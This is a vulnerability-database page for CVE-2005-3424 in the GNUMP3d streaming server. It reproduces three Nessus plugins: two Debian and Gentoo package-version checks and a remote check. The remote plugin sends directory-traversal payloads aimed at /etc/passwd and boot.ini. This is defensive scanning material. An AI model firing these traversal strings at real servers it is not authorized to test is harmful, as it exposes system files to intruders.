Vulnerabilities > CVE-2005-3424 - Cross-Site Scripting vulnerability in GNU gnump3d Error Page

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-877. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(22743);
  script_version("1.20");
  script_cvs_date("Date: 2019/08/02 13:32:19");

  script_cve_id("CVE-2005-3123", "CVE-2005-3424", "CVE-2005-3425");
  script_xref(name:"DSA", value:"877");

  script_name(english:"Debian DSA-877-1 : gnump3d - XSS, directory traversal");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Steve Kemp discovered two vulnerabilities in gnump3d, a streaming
server for MP3 and OGG files. The Common Vulnerabilities and Exposures
Project identifies the following problems :

  - CVE-2005-3122
    The 404 error page does not strip malicious JavaScript
    content from the resulting page, which would be executed
    in the victims browser.

  - CVE-2005-3123
    By using specially crafting URLs it is possible to read
    arbitrary files to which the user of the streaming
    server has access to."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.debian.org/security/2005/dsa-877"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the gnump3d package.

The old stable distribution (woody) does not contain a gnump3d
package.

For the stable distribution (sarge) these problems have been fixed in
version 2.9.3-1sarge2."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:gnump3d");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:3.1");

  script_set_attribute(attribute:"patch_publication_date", value:"2005/10/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/10/14");
  script_set_attribute(attribute:"vuln_publication_date", value:"2005/10/28");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 Tenable Network Security, Inc.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"3.1", prefix:"gnump3d", reference:"2.9.3-1sarge2")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 200511-05.
#
# The advisory text is Copyright (C) 2001-2015 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(20155);
  script_version("1.15");
  script_cvs_date("Date: 2019/08/02 13:32:42");

  script_cve_id("CVE-2005-3123", "CVE-2005-3424", "CVE-2005-3425");
  script_xref(name:"GLSA", value:"200511-05");

  script_name(english:"GLSA-200511-05 : GNUMP3d: Directory traversal and XSS vulnerabilities");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-200511-05
(GNUMP3d: Directory traversal and XSS vulnerabilities)

    Steve Kemp reported about two cross-site scripting attacks that are
    related to the handling of files (CVE-2005-3424, CVE-2005-3425). Also
    reported is a directory traversal vulnerability which comes from the
    attempt to sanitize input paths (CVE-2005-3123).
  
Impact :

    A remote attacker could exploit this to disclose sensitive information
    or inject and execute malicious script code, potentially compromising
    the victim's browser.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/200511-05"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All GNUMP3d users should upgrade to the latest version:
    # emerge --sync
    # emerge --ask --oneshot --verbose '>=media-sound/gnump3d-2.9_pre7'"
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:gnump3d");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"patch_publication_date", value:"2005/11/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/11/07");
  script_set_attribute(attribute:"vuln_publication_date", value:"2005/10/28");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2005-2019 Tenable Network Security, Inc.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"media-sound/gnump3d", unaffected:make_list("ge 2.9_pre7"), vulnerable:make_list("lt 2.9_pre7"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:qpkg_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "GNUMP3d");
}

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description) {
  script_id(20110);
  script_version("1.25");

  script_cve_id("CVE-2005-3123", "CVE-2005-3424", "CVE-2005-3425");
  script_bugtraq_id(15226, 15228, 15341);

  script_name(english:"GNUMP3d < 2.9.6 Multiple Remote Vulnerabilities (XSS, Traversal)");
  script_summary(english:"Checks for multiple vulnerabilities in GNUMP3d < 2.9.6");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote streaming server is prone to directory traversal and cross-
site scripting attacks." );
 script_set_attribute(attribute:"description", value:
"The remote host is running GNUMP3d, an open source audio / video
streaming server. 

The installed version of GNUMP3d on the remote host fails to 
completely filter out directory traversal sequences from request URIs. 
By leveraging this flaw, an attacker can read arbitrary files on the
remote host subject to the privileges under which the server operates.  
In addition, it fails to sanitize user-supplied input to several 
scripts, which can be used to launch cross-site scripting attacks 
against the affected application." );
  # http://cvs.savannah.gnu.org/viewvc/gnump3d/gnump3d/ChangeLog?view=markup&content-type=text%2Fvnd.viewcvs-markup&revision=1.134 
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?ee529de4" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to GNUMP3d 2.9.7 or later." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

 script_set_attribute(attribute:"plugin_publication_date", value: "2005/10/31");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/10/28");
 script_cvs_date("Date: 2018/11/28 22:47:41");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:gnu:gnump3d");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 3333, 8888);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:8888);


# Unless we're paranoid, make sure the banner looks like GNUMP3d.
if (report_paranoia < 2) {
  banner = get_http_banner(port:port);
  if (!banner || "Server: GNUMP3d " >!< banner) exit(0);
}


# Try to exploit the directory traversal flaw.
exploits = make_list(
  # should work up to 2.9.5 under Windows.
  "/..\..\..\..\..\..\..\..\..\boot.ini",
  # works in 2.9.3 under *nix.
  "/.//././/././/././/././/././/././/./etc/passwd",
  # should work in 2.9.1 - 2.9.2 under *nix, although apparently only if gnump3d's root directory is one level down from the root (eg, "/mp3s").
  "/....///....///....///....///....///....//....//....//etc/passwd",
  # should work w/ really old versions under *nix.
  urlencode(str:"/../../../../../../../etc/passwd")
);
foreach exploit (exploits) {
  r = http_send_recv3(method:"GET",item:exploit, port:port);
  if (isnull(r)) exit(0);
  res = strcat(r[0], r[1], '\r\n', r[2]);
  # There's a problem if there's an entry for root.
  if (egrep(pattern:"root:.*:0:[01]:", string:res)) {
    res = data_protection::redact_etc_passwd(output:res);
    if (report_verbosity > 0)
      security_warning(port:port, extra: res);
    else
      security_warning(port:port);
    set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
    exit(0);
  }
}